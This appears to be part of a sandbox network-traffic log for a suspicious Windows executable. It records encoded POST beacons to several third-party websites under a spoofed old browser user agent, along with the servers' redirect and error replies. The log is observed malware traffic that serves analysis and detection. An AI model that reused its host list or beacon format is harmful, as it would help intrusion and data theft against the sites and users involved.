6c 65 3d 31 22 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 6f 66 69 6c 65 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 67 6d 70 67 2e 6f 72 67 2f 78 66 6e 2f 31 31 22 20 2f 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 69 6e 67 62 61 63 6b 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 73 74 6e 69 63 2e 63 6f 2e 75 6b 2f 78 6d 6c 72 70 63 2e 70 68 70 22 20 2f 3e 0a 09 09 09 09 09 3c 73 63 72 69 70 74 3e 64 6f 63 75 6d 65 6e 74 2e 64 6f 63 75 6d 65 6e 74 45 6c 65 6d 65 6e 74 2e 63 6c 61 73 73 4e 61 6d 65 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 64 6f 63 75 6d 65 6e 74 45 6c 65 6d [TRUNCATED] Data Ascii: 7e82<!DOCTYPE html><html lang="en-GB"><head><meta charset="UTF-8" /><meta name="viewport" content="width=device-width, initial-scale=1"><link rel="profile" href="http://gmpg.org/xfn/11" /><link rel="pingback" href="http://www.stnic.co.uk/xmlrpc.php" /><script>document.documentElement.className = document.documentElement.className + ' yes-js js_active js'</script><meta name='robots' content='index, follow, max-image-preview:large, max-snippet:-1, max-video-preview:-1' />... This site is optimized with the Yoast SEO plugin v23.7 - https://yoast.com/wordpress/plugins/seo/ --><title>Heritage & Christmas decoration designers - St. Nicolas</title><link rel="canonical" href="https://www.stnic.co.uk/" /><meta property="og:locale" content="en_GB" /><
Oct 25, 2024 11:17:41.466428995 CEST	1236	IN	Data Raw: 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 77 65 62 73 69 74 65 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 74 69 74 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 48 Data Ascii: meta property="og:type" content="website" /><meta property="og:title" content="Heritage & Christmas decoration designers - St. Nicolas" /><meta property="og:url" content="https://www.stnic.co.uk/" /><meta property="og:site_name" cont
Oct 25, 2024 11:17:41.466444969 CEST	1236	IN	Data Raw: 67 65 20 26 61 6d 70 3b 20 43 68 72 69 73 74 6d 61 73 20 64 65 63 6f 72 61 74 69 6f 6e 20 64 65 73 69 67 6e 65 72 73 22 2c 22 70 6f 74 65 6e 74 69 61 6c 41 63 74 69 6f 6e 22 3a 5b 7b 22 40 74 79 70 65 22 3a 22 53 65 61 72 63 68 41 63 74 69 6f 6e Data Ascii: ge & Christmas decoration designers","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https://www.stnic.co.uk/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequi
Oct 25, 2024 11:17:41.466502905 CEST	1236	IN	Data Raw: 6e 63 74 69 6f 6e 28 69 2c 6e 29 7b 76 61 72 20 6f 2c 73 2c 65 3b 66 75 6e 63 74 69 6f 6e 20 63 28 65 29 7b 74 72 79 7b 76 61 72 20 74 3d 7b 73 75 70 70 6f 72 74 54 65 73 74 73 3a 65 2c 74 69 6d 65 73 74 61 6d 70 3a 28 6e 65 77 20 44 61 74 65 29 Data Ascii: nction(i,n){var o,s,e;function c(e){try{var t={supportTests:e,timestamp:(new Date).valueOf()};sessionStorage.setItem(o,JSON.stringify(t))}catch(e){}}function p(e,t,n){e.clearRect(0,0,e.canvas.width,e.canvas.height),e.fillText(t,0,0);var t=new
Oct 25, 2024 11:17:41.466520071 CEST	1236	IN	Data Raw: 20 33 32 70 78 20 41 72 69 61 6c 22 2c 7b 7d 29 3b 72 65 74 75 72 6e 20 65 2e 66 6f 72 45 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 6f 5b 65 5d 3d 74 28 61 2c 65 2c 6e 29 7d 29 2c 6f 7d 66 75 6e 63 74 69 6f 6e 20 74 28 65 29 7b 76 61 72 20 Data Ascii: 32px Arial",{});return e.forEach(function(e){o[e]=t(a,e,n)}),o}function t(e){var t=i.createElement("script");t.src=e,t.defer=!0,i.head.appendChild(t)}"undefined"!=typeof Promise&&(o="wpEmojiSettingsSupports",s=["flag","emoji"],n.supports={eve
Oct 25, 2024 11:17:41.466536999 CEST	1236	IN	Data Raw: 70 70 6f 72 74 73 2e 65 76 65 72 79 74 68 69 6e 67 45 78 63 65 70 74 46 6c 61 67 26 26 6e 2e 73 75 70 70 6f 72 74 73 5b 74 5d 29 3b 6e 2e 73 75 70 70 6f 72 74 73 2e 65 76 65 72 79 74 68 69 6e 67 45 78 63 65 70 74 46 6c 61 67 3d 6e 2e 73 75 70 70 Data Ascii: pports.everythingExceptFlag&&n.supports[t]);n.supports.everythingExceptFlag=n.supports.everythingExceptFlag&&!n.supports.flag,n.DOMReady=!1,n.readyCallback=function(){n.DOMReady=!0}}).then(function(){return e}).then(function(){var e;n.supports
Oct 25, 2024 11:17:41.466553926 CEST	1236	IN	Data Raw: 77 2e 73 74 6e 69 63 2e 63 6f 2e 75 6b 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 70 6c 75 67 69 6e 73 2f 79 69 74 68 2d 77 6f 6f 63 6f 6d 6d 65 72 63 65 2d 77 69 73 68 6c 69 73 74 2f 61 73 73 65 74 73 2f 63 73 73 2f 66 6f 6e 74 2d 61 77 65 73 6f 6d 65 Data Ascii: w.stnic.co.uk/wp-content/plugins/yith-woocommerce-wishlist/assets/css/font-awesome.css?ver=4.7.0' type='text/css' media='all' /><link rel='stylesheet' id='woocommerce_prettyPhoto_css-css' href='//www.stnic.co.uk/wp-content/plugins/woocommerce
Oct 25, 2024 11:17:41.466834068 CEST	1236	IN	Data Raw: 2d 72 61 74 69 6f 2d 2d 32 2d 33 3a 20 32 2f 33 3b 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 61 73 70 65 63 74 2d 72 61 74 69 6f 2d 2d 31 36 2d 39 3a 20 31 36 2f 39 3b 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 61 73 70 65 63 74 2d 72 61 74 69 6f Data Ascii: -ratio--2-3: 2/3;--wp--preset--aspect-ratio--16-9: 16/9;--wp--preset--aspect-ratio--9-16: 9/16;--wp--preset--color--black: #000000;--wp--preset--color--cyan-bluish-gray: #abb8c3;--wp--preset--color--white: #ffffff;--wp--preset--color--pale-pin
Oct 25, 2024 11:17:41.466860056 CEST	1236	IN	Data Raw: 38 29 20 30 25 2c 72 67 62 28 31 36 39 2c 31 38 34 2c 31 39 35 29 20 31 30 30 25 29 3b 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 67 72 61 64 69 65 6e 74 2d 2d 63 6f 6f 6c 2d 74 6f 2d 77 61 72 6d 2d 73 70 65 63 74 72 75 6d 3a 20 6c 69 6e 65 61 72 Data Ascii: 8) 0%,rgb(169,184,195) 100%);--wp--preset--gradient--cool-to-warm-spectrum: linear-gradient(135deg,rgb(74,234,220) 0%,rgb(151,120,209) 20%,rgb(207,42,186) 40%,rgb(238,44,130) 60%,rgb(251,105,98) 80%,rgb(254,248,76) 100%);--wp--preset--gradient
Oct 25, 2024 11:17:41.466876984 CEST	1236	IN	Data Raw: 2d 34 30 3a 20 31 72 65 6d 3b 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 73 70 61 63 69 6e 67 2d 2d 35 30 3a 20 31 2e 35 72 65 6d 3b 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 73 70 61 63 69 6e 67 2d 2d 36 30 3a 20 32 2e 32 35 72 65 6d 3b 2d 2d 77 Data Ascii: -40: 1rem;--wp--preset--spacing--50: 1.5rem;--wp--preset--spacing--60: 2.25rem;--wp--preset--spacing--70: 3.38rem;--wp--preset--spacing--80: 5.06rem;--wp--preset--shadow--natural: 6px 6px 9px rgba(0, 0, 0, 0.2);--wp--preset--shadow--deep: 12px
Oct 25, 2024 11:17:41.472074986 CEST	1236	IN	Data Raw: 72 7b 63 6f 6c 6f 72 3a 20 76 61 72 28 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 63 6f 6c 6f 72 2d 2d 70 61 6c 65 2d 70 69 6e 6b 29 20 21 69 6d 70 6f 72 74 61 6e 74 3b 7d 2e 68 61 73 2d 76 69 76 69 64 2d 72 65 64 2d 63 6f 6c 6f 72 7b 63 6f 6c 6f Data Ascii: r{color: var(--wp--preset--color--pale-pink) !important;}.has-vivid-red-color{color: var(--wp--preset--color--vivid-red) !important;}.has-luminous-vivid-orange-color{color: var(--wp--preset--color--luminous-vivid-orange) !important;}.has-lumin

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.5	52621	51.79.51.72	80	1172	C:\Users\user\Desktop\yGktPvplJn.exe

Timestamp	Bytes transferred	Direction	Data
Oct 25, 2024 11:17:39.473687887 CEST	774	OUT	POST / HTTP/1.1 Accept: / Accept-Language: en-us Content-Type: application/octet-stream Content-Length: 540 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Host: www.holleman.us Cache-Control: no-cache Data Raw: 58 6c 2f 2f 73 4b 43 6b 53 2f 6e 32 63 38 4a 79 38 77 39 2b 48 4e 4e 55 61 57 77 49 59 4f 49 77 31 46 58 39 6a 32 35 51 46 54 34 6c 55 4c 66 62 6e 2b 4a 7a 6c 4c 51 78 63 45 41 54 57 59 45 58 67 6e 45 68 2b 6b 68 32 49 32 61 69 45 73 50 50 66 63 6b 61 34 55 31 6f 2b 53 52 36 59 34 73 77 4c 64 45 79 46 42 6b 36 43 6f 32 42 58 39 38 42 73 53 5a 58 4c 34 5a 61 61 79 65 76 69 59 4c 39 33 63 33 35 6b 49 72 37 48 74 71 58 56 55 6b 67 4b 73 69 45 47 63 2b 79 6f 6b 39 53 76 58 74 33 6a 4c 44 34 54 74 32 66 4e 4b 41 58 43 2b 36 76 41 32 6a 58 49 33 56 70 6b 32 53 69 74 4d 47 65 4f 57 67 32 56 70 68 43 34 67 7a 37 72 2f 2f 7a 33 39 4e 63 34 46 71 30 6b 46 52 69 6a 41 70 73 36 47 4e 6b 61 30 45 67 6d 56 78 53 64 6e 68 45 31 49 79 55 6e 4e 51 4d 73 58 79 57 55 42 30 2f 32 50 47 78 2b 41 50 46 4d 36 43 2f 4e 63 79 78 4e 59 52 41 6f 36 73 7a 74 74 6f 50 77 74 50 55 76 41 70 57 54 73 6d 44 4e 2b 6b 39 54 44 42 2b 6d 31 67 4c 5a 54 46 6c 56 30 68 66 59 63 2b 6c 7a 39 76 2b 48 75 78 68 36 42 55 31 6c 4f 5a 31 48 67 [TRUNCATED] Data Ascii: Xl//sKCkS/n2c8Jy8w9+HNNUaWwIYOIw1FX9j25QFT4lULfbn+JzlLQxcEATWYEXgnEh+kh2I2aiEsPPfcka4U1o+SR6Y4swLdEyFBk6Co2BX98BsSZXL4ZaayeviYL93c35kIr7HtqXVUkgKsiEGc+yok9SvXt3jLD4Tt2fNKAXC+6vA2jXI3Vpk2SitMGeOWg2VphC4gz7r//z39Nc4Fq0kFRijAps6GNka0EgmVxSdnhE1IyUnNQMsXyWUB0/2PGx+APFM6C/NcyxNYRAo6szttoPwtPUvApWTsmDN+k9TDB+m1gLZTFlV0hfYc+lz9v+Huxh6BU1lOZ1Hgsj4rXMPul47j7EjRieit/GeUFb1bcCl3VKOmleNenrQZz84AZfqjcode3CkRaTF6wdu4dVnUDJFE2BdcHtyCtQJwsOoAkaxVg4FSMD6IVrMVv3nZRVBHm03RwCpC+QUwrBpSURjR2wL1RPZLG/r1HIT+7rfAP+qOfLh+all0QMfI6/2eHRvf32ASagq8TwUkfo6o0ghzOD

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.5	52625	195.78.66.65	80	1172	C:\Users\user\Desktop\yGktPvplJn.exe

Timestamp	Bytes transferred	Direction	Data
Oct 25, 2024 11:17:39.586592913 CEST	778	OUT	POST / HTTP/1.1 Accept: / Accept-Language: en-us Content-Type: application/octet-stream Content-Length: 544 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Host: www.photo4b.com Cache-Control: no-cache Data Raw: 74 76 57 38 36 69 46 50 75 2f 70 51 51 6e 6b 56 67 42 36 79 55 2f 70 44 6e 32 4d 66 4a 31 49 78 35 55 38 51 51 33 4b 4b 56 6b 36 5a 44 38 62 79 76 76 4a 6d 50 77 42 6b 53 36 73 4f 57 7a 39 32 45 31 6a 52 77 50 4e 75 38 57 6f 53 2f 2f 4c 52 6a 36 34 75 51 63 78 63 4e 6f 65 30 68 74 49 72 42 72 2f 75 46 53 34 70 4e 74 56 4c 59 38 67 39 4c 57 4b 31 43 55 55 36 6f 69 61 4b 76 67 6b 32 53 39 43 5a 69 42 67 6a 62 39 42 61 71 49 57 2b 34 30 2b 50 71 77 49 45 47 37 30 35 72 4d 34 72 79 48 49 55 79 68 69 50 6b 38 41 46 42 64 43 57 74 2f 71 42 2f 38 39 67 32 7a 34 4c 71 70 38 65 78 77 48 4b 36 57 4b 36 66 58 41 66 74 64 78 38 39 55 55 31 6b 59 4f 61 41 50 38 67 5a 6b 41 42 33 31 37 37 43 31 2f 53 37 59 30 50 49 2f 4f 47 63 6b 5a 64 69 35 4d 78 55 52 70 79 62 65 46 2b 65 78 6f 2f 52 75 34 68 59 59 6e 4b 48 77 71 49 41 61 36 44 48 45 4f 64 6f 69 4b 33 4b 61 6e 37 51 79 77 47 38 35 74 68 46 68 47 5a 64 59 44 64 6f 46 69 51 6d 52 53 53 43 45 68 6a 48 41 4d 67 39 61 61 49 6d 76 63 64 46 4a 42 72 49 4c 49 39 31 50 [TRUNCATED] Data Ascii: tvW86iFPu/pQQnkVgB6yU/pDn2MfJ1Ix5U8QQ3KKVk6ZD8byvvJmPwBkS6sOWz92E1jRwPNu8WoS//LRj64uQcxcNoe0htIrBr/uFS4pNtVLY8g9LWK1CUU6oiaKvgk2S9CZiBgjb9BaqIW+40+PqwIEG705rM4ryHIUyhiPk8AFBdCWt/qB/89g2z4Lqp8exwHK6WK6fXAftdx89UU1kYOaAP8gZkAB3177C1/S7Y0PI/OGckZdi5MxURpybeF+exo/Ru4hYYnKHwqIAa6DHEOdoiK3Kan7QywG85thFhGZdYDdoFiQmRSSCEhjHAMg9aaImvcdFJBrILI91PlbFzDIMwUqz+15+RkuoxddVUNHIOfonwf++9K4GeE9nppCeKpRX4pxYe7KzJons4aQa9CyiMZUWRXak3t87knZSCBNHdXSShsSKbb9YCQoFDXIcXpvCN9BWh2EcT0H/Xe1NgJLIgKyC1Pe4oYA2MiMnCAXcXURz8Ml75fqIY365HSpyQz5pl3RfjiDT506h+5arq8mHFpJs1o=
Oct 25, 2024 11:17:40.702182055 CEST	308	IN	HTTP/1.1 302 Found Connection: Keep-Alive Keep-Alive: timeout=5, max=100 location: http://www.photo4b.pl/ content-type: text/html; charset=UTF-8 content-length: 0 date: Fri, 25 Oct 2024 09:17:40 GMT server: LiteSpeed cache-control: no-cache, no-store, must-revalidate, max-age=0 vary: User-Agent
Oct 25, 2024 11:17:40.707547903 CEST	308	IN	HTTP/1.1 302 Found Connection: Keep-Alive Keep-Alive: timeout=5, max=100 location: http://www.photo4b.pl/ content-type: text/html; charset=UTF-8 content-length: 0 date: Fri, 25 Oct 2024 09:17:40 GMT server: LiteSpeed cache-control: no-cache, no-store, must-revalidate, max-age=0 vary: User-Agent

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.5	52627	18.245.31.21	80	1172	C:\Users\user\Desktop\yGktPvplJn.exe

Timestamp	Bytes transferred	Direction	Data
Oct 25, 2024 11:17:39.743494987 CEST	828	OUT	POST / HTTP/1.1 Accept: / Accept-Language: en-us Content-Type: application/octet-stream Content-Length: 596 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Host: www.medius.si Cache-Control: no-cache Data Raw: 53 46 2f 55 67 30 33 6f 30 50 70 4e 48 78 52 45 78 47 30 65 35 51 59 79 6a 61 71 37 52 57 7a 58 30 63 56 50 76 6c 4b 65 78 65 42 62 50 59 42 6b 76 38 47 47 45 35 2b 58 64 37 47 51 4f 44 6a 44 55 4a 4a 63 47 54 38 73 62 62 76 59 62 46 6f 62 48 71 65 37 62 5a 39 5a 78 68 79 6b 47 67 58 67 30 76 4b 4f 30 65 4c 44 58 2f 50 37 35 47 30 49 75 34 47 72 79 74 79 36 6c 42 54 63 59 75 67 6f 73 70 76 48 43 68 50 4b 4e 44 49 45 30 4e 4e 56 72 52 58 63 39 70 53 71 30 43 61 71 74 6b 50 42 4b 4d 6c 61 4c 51 62 4c 67 31 37 30 64 6b 64 6e 55 6b 59 66 46 68 58 30 50 6f 33 57 72 4d 6b 42 6c 72 75 35 79 38 64 41 70 78 6e 42 32 66 4f 67 39 7a 68 67 4e 37 73 2b 6f 79 48 52 6f 65 78 43 48 34 53 44 4c 59 66 73 34 6a 2b 43 4f 35 38 58 33 48 32 30 41 66 6d 77 52 69 76 46 37 53 41 32 63 2b 54 30 67 35 76 6d 39 63 4a 58 61 62 34 62 53 76 6e 78 58 4f 66 34 33 78 78 36 41 6a 78 35 49 4f 73 73 30 72 74 54 62 63 6a 78 44 30 43 34 76 51 75 51 6d 36 56 62 59 44 4b 6b 56 4c 2b 56 44 44 4e 68 32 54 6b 77 54 67 43 55 6c 61 6a 32 42 71 [TRUNCATED] Data Ascii: SF/Ug03o0PpNHxRExG0e5QYyjaq7RWzX0cVPvlKexeBbPYBkv8GGE5+Xd7GQODjDUJJcGT8sbbvYbFobHqe7bZ9ZxhykGgXg0vKO0eLDX/P75G0Iu4Gryty6lBTcYugospvHChPKNDIE0NNVrRXc9pSq0CaqtkPBKMlaLQbLg170dkdnUkYfFhX0Po3WrMkBlru5y8dApxnB2fOg9zhgN7s+oyHRoexCH4SDLYfs4j+CO58X3H20AfmwRivF7SA2c+T0g5vm9cJXab4bSvnxXOf43xx6Ajx5IOss0rtTbcjxD0C4vQuQm6VbYDKkVL+VDDNh2TkwTgCUlaj2BqLmwYM7n3hJ3e/AjKuMNKzp7OKb62D9z05AFevazhSMjo1AdXtDwz3VmeYaBu2lIZe14mm57JALgTpsMMJ1NK8KZScNIdXugUcSjY8grOX7jnpsXYFBWSKdL7YjXbgerhAEwbH7TyyOkkXeORkW3YX4zIGo2ykhTRC2aYGCC2ykXfbzJKMHtq8jJj0MHO/6bZt3Nscv7VSHuRTVCGEvo8/JyoEOyrXiE9rR1nYl02Ahv1nYLIurcDGdVQm2NKilZ5Ec
Oct 25, 2024 11:17:40.702416897 CEST	596	IN	HTTP/1.1 307 Temporary Redirect Server: CloudFront Date: Fri, 25 Oct 2024 09:17:40 GMT Content-Type: text/html Content-Length: 169 Connection: keep-alive Location: https://www.medius.si/ X-Cache: Redirect from cloudfront Via: 1.1 193d38535c6cb246e365763e9c32e672.cloudfront.net (CloudFront) X-Amz-Cf-Pop: FRA56-P8 Alt-Svc: h3=":443"; ma=86400 X-Amz-Cf-Id: bL1U0xagfC26D08SfuKX5NPJjDl13fzGOUWNIGlVzM_BEXOASiyj-g== Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 37 20 54 65 6d 70 6f 72 61 72 79 20 52 65 64 69 72 65 63 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 37 20 54 65 6d 70 6f 72 61 72 79 20 52 65 64 69 72 65 63 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 43 6c 6f 75 64 46 72 6f 6e 74 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>307 Temporary Redirect</title></head><body><center><h1>307 Temporary Redirect</h1></center><hr><center>CloudFront</center></body></html>
Oct 25, 2024 11:17:40.743448973 CEST	828	OUT	POST / HTTP/1.1 Accept: / Accept-Language: en-us Content-Type: application/octet-stream Content-Length: 596 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Host: www.medius.si Cache-Control: no-cache Data Raw: 53 46 2f 55 67 30 33 6f 30 50 70 4e 48 78 52 45 78 47 30 65 35 51 59 79 6a 61 71 37 52 57 7a 58 30 63 56 50 76 6c 4b 65 78 65 42 62 50 59 42 6b 76 38 47 47 45 35 2b 58 64 37 47 51 4f 44 6a 44 55 4a 4a 63 47 54 38 73 62 62 76 59 62 46 6f 62 48 71 65 37 62 5a 39 5a 78 68 79 6b 47 67 58 67 30 76 4b 4f 30 65 4c 44 58 2f 50 37 35 47 30 49 75 34 47 72 79 74 79 36 6c 42 54 63 59 75 67 6f 73 70 76 48 43 68 50 4b 4e 44 49 45 30 4e 4e 56 72 52 58 63 39 70 53 71 30 43 61 71 74 6b 50 42 4b 4d 6c 61 4c 51 62 4c 67 31 37 30 64 6b 64 6e 55 6b 59 66 46 68 58 30 50 6f 33 57 72 4d 6b 42 6c 72 75 35 79 38 64 41 70 78 6e 42 32 66 4f 67 39 7a 68 67 4e 37 73 2b 6f 79 48 52 6f 65 78 43 48 34 53 44 4c 59 66 73 34 6a 2b 43 4f 35 38 58 33 48 32 30 41 66 6d 77 52 69 76 46 37 53 41 32 63 2b 54 30 67 35 76 6d 39 63 4a 58 61 62 34 62 53 76 6e 78 58 4f 66 34 33 78 78 36 41 6a 78 35 49 4f 73 73 30 72 74 54 62 63 6a 78 44 30 43 34 76 51 75 51 6d 36 56 62 59 44 4b 6b 56 4c 2b 56 44 44 4e 68 32 54 6b 77 54 67 43 55 6c 61 6a 32 42 71 [TRUNCATED] Data Ascii: SF/Ug03o0PpNHxRExG0e5QYyjaq7RWzX0cVPvlKexeBbPYBkv8GGE5+Xd7GQODjDUJJcGT8sbbvYbFobHqe7bZ9ZxhykGgXg0vKO0eLDX/P75G0Iu4Gryty6lBTcYugospvHChPKNDIE0NNVrRXc9pSq0CaqtkPBKMlaLQbLg170dkdnUkYfFhX0Po3WrMkBlru5y8dApxnB2fOg9zhgN7s+oyHRoexCH4SDLYfs4j+CO58X3H20AfmwRivF7SA2c+T0g5vm9cJXab4bSvnxXOf43xx6Ajx5IOss0rtTbcjxD0C4vQuQm6VbYDKkVL+VDDNh2TkwTgCUlaj2BqLmwYM7n3hJ3e/AjKuMNKzp7OKb62D9z05AFevazhSMjo1AdXtDwz3VmeYaBu2lIZe14mm57JALgTpsMMJ1NK8KZScNIdXugUcSjY8grOX7jnpsXYFBWSKdL7YjXbgerhAEwbH7TyyOkkXeORkW3YX4zIGo2ykhTRC2aYGCC2ykXfbzJKMHtq8jJj0MHO/6bZt3Nscv7VSHuRTVCGEvo8/JyoEOyrXiE9rR1nYl02Ahv1nYLIurcDGdVQm2NKilZ5Ec
Oct 25, 2024 11:17:40.986104965 CEST	596	IN	HTTP/1.1 307 Temporary Redirect Server: CloudFront Date: Fri, 25 Oct 2024 09:17:40 GMT Content-Type: text/html Content-Length: 169 Connection: keep-alive Location: https://www.medius.si/ X-Cache: Redirect from cloudfront Via: 1.1 193d38535c6cb246e365763e9c32e672.cloudfront.net (CloudFront) X-Amz-Cf-Pop: FRA56-P8 Alt-Svc: h3=":443"; ma=86400 X-Amz-Cf-Id: y1UwJqUrvMUGkz7nKd1CDA901So-Tx3MXj_vC86H2ALo7PkR7lwsxA== Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 37 20 54 65 6d 70 6f 72 61 72 79 20 52 65 64 69 72 65 63 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 37 20 54 65 6d 70 6f 72 61 72 79 20 52 65 64 69 72 65 63 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 43 6c 6f 75 64 46 72 6f 6e 74 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>307 Temporary Redirect</title></head><body><center><h1>307 Temporary Redirect</h1></center><hr><center>CloudFront</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.5	52628	3.65.101.129	80	1172	C:\Users\user\Desktop\yGktPvplJn.exe

Timestamp	Bytes transferred	Direction	Data
Oct 25, 2024 11:17:39.793225050 CEST	790	OUT	POST / HTTP/1.1 Accept: / Accept-Language: en-us Content-Type: application/octet-stream Content-Length: 556 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Host: www.fe-bauer.de Cache-Control: no-cache Data Raw: 69 6d 55 47 6d 67 7a 78 32 66 71 46 51 6a 46 75 64 2f 69 32 57 52 2b 59 63 41 4c 6b 30 6e 78 47 41 41 75 59 77 79 77 44 43 57 77 47 59 4d 4d 77 31 5a 7a 73 57 61 75 30 35 56 6d 31 4d 6b 69 44 31 57 35 78 68 6b 6d 57 48 42 71 5a 74 52 6b 39 74 43 46 6f 71 57 32 5a 64 4c 44 6f 45 42 75 50 69 75 77 59 67 43 73 47 34 6c 33 58 32 47 74 4c 69 38 54 52 32 6b 36 77 50 44 71 62 6b 35 65 61 79 6f 79 73 73 39 59 31 70 62 33 50 6d 4c 67 37 72 2f 53 31 2f 57 2b 72 79 31 78 46 49 63 4d 37 49 6a 52 43 4e 56 68 33 4e 34 72 58 34 57 44 62 66 6c 7a 44 59 32 68 44 54 62 4a 38 77 77 71 53 55 2f 68 73 45 70 71 77 75 77 74 34 66 32 4c 4f 2f 56 59 62 35 6a 61 39 77 65 32 46 4f 4b 62 45 52 30 79 39 34 72 54 78 54 54 71 58 41 68 48 54 47 73 6a 36 61 33 50 68 59 48 51 78 6d 62 67 6c 46 4d 4e 6c 5a 4c 74 30 4f 72 4f 37 70 58 7a 6c 4a 51 4b 73 5a 37 73 78 48 39 51 6e 4e 41 76 43 49 76 4c 4b 78 78 54 38 65 33 72 6e 73 54 39 5a 33 66 6a 37 4d 63 5a 2b 57 6c 6d 6f 73 68 76 2b 75 35 51 63 72 47 52 4b 55 6a 52 32 42 49 64 4b 4d 42 [TRUNCATED] Data Ascii: imUGmgzx2fqFQjFud/i2WR+YcALk0nxGAAuYwywDCWwGYMMw1ZzsWau05Vm1MkiD1W5xhkmWHBqZtRk9tCFoqW2ZdLDoEBuPiuwYgCsG4l3X2GtLi8TR2k6wPDqbk5eayoyss9Y1pb3PmLg7r/S1/W+ry1xFIcM7IjRCNVh3N4rX4WDbflzDY2hDTbJ8wwqSU/hsEpqwuwt4f2LO/VYb5ja9we2FOKbER0y94rTxTTqXAhHTGsj6a3PhYHQxmbglFMNlZLt0OrO7pXzlJQKsZ7sxH9QnNAvCIvLKxxT8e3rnsT9Z3fj7McZ+Wlmoshv+u5QcrGRKUjR2BIdKMBzeZ261KzuGnol712ypHL3Npl5T178ONuduBbcA9WWTh0C0XikhaqoDwRFf/btJp/MDOxS+GJUsUWsEInyBFq+kFQiniKAk6A8Ra72q6zLvgSwdNWgk+4Zj8YAUBIXObroy7ol3cKB+8LevrP1WKnulqqufaxHxk3nFO/53o+9b3mQVWACLzQFpZV3QPQ8ubg79FJ6D8JDxut08EIk1BJSccw==
Oct 25, 2024 11:17:40.702560902 CEST	173	IN	HTTP/1.1 502 Bad Gateway Date: Fri, 25 Oct 2024 09:17:40 GMT Server: Apache Content-Length: 27 Content-Type: text/html; charset=iso-8859-1 Data Raw: 59 6f 75 72 20 63 6f 6e 6e 65 63 74 69 6f 6e 20 77 61 73 20 72 65 66 75 73 65 64 Data Ascii: Your connection was refused
Oct 25, 2024 11:17:40.734978914 CEST	790	OUT	POST / HTTP/1.1 Accept: / Accept-Language: en-us Content-Type: application/octet-stream Content-Length: 556 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Host: www.fe-bauer.de Cache-Control: no-cache Data Raw: 69 6d 55 47 6d 67 7a 78 32 66 71 46 51 6a 46 75 64 2f 69 32 57 52 2b 59 63 41 4c 6b 30 6e 78 47 41 41 75 59 77 79 77 44 43 57 77 47 59 4d 4d 77 31 5a 7a 73 57 61 75 30 35 56 6d 31 4d 6b 69 44 31 57 35 78 68 6b 6d 57 48 42 71 5a 74 52 6b 39 74 43 46 6f 71 57 32 5a 64 4c 44 6f 45 42 75 50 69 75 77 59 67 43 73 47 34 6c 33 58 32 47 74 4c 69 38 54 52 32 6b 36 77 50 44 71 62 6b 35 65 61 79 6f 79 73 73 39 59 31 70 62 33 50 6d 4c 67 37 72 2f 53 31 2f 57 2b 72 79 31 78 46 49 63 4d 37 49 6a 52 43 4e 56 68 33 4e 34 72 58 34 57 44 62 66 6c 7a 44 59 32 68 44 54 62 4a 38 77 77 71 53 55 2f 68 73 45 70 71 77 75 77 74 34 66 32 4c 4f 2f 56 59 62 35 6a 61 39 77 65 32 46 4f 4b 62 45 52 30 79 39 34 72 54 78 54 54 71 58 41 68 48 54 47 73 6a 36 61 33 50 68 59 48 51 78 6d 62 67 6c 46 4d 4e 6c 5a 4c 74 30 4f 72 4f 37 70 58 7a 6c 4a 51 4b 73 5a 37 73 78 48 39 51 6e 4e 41 76 43 49 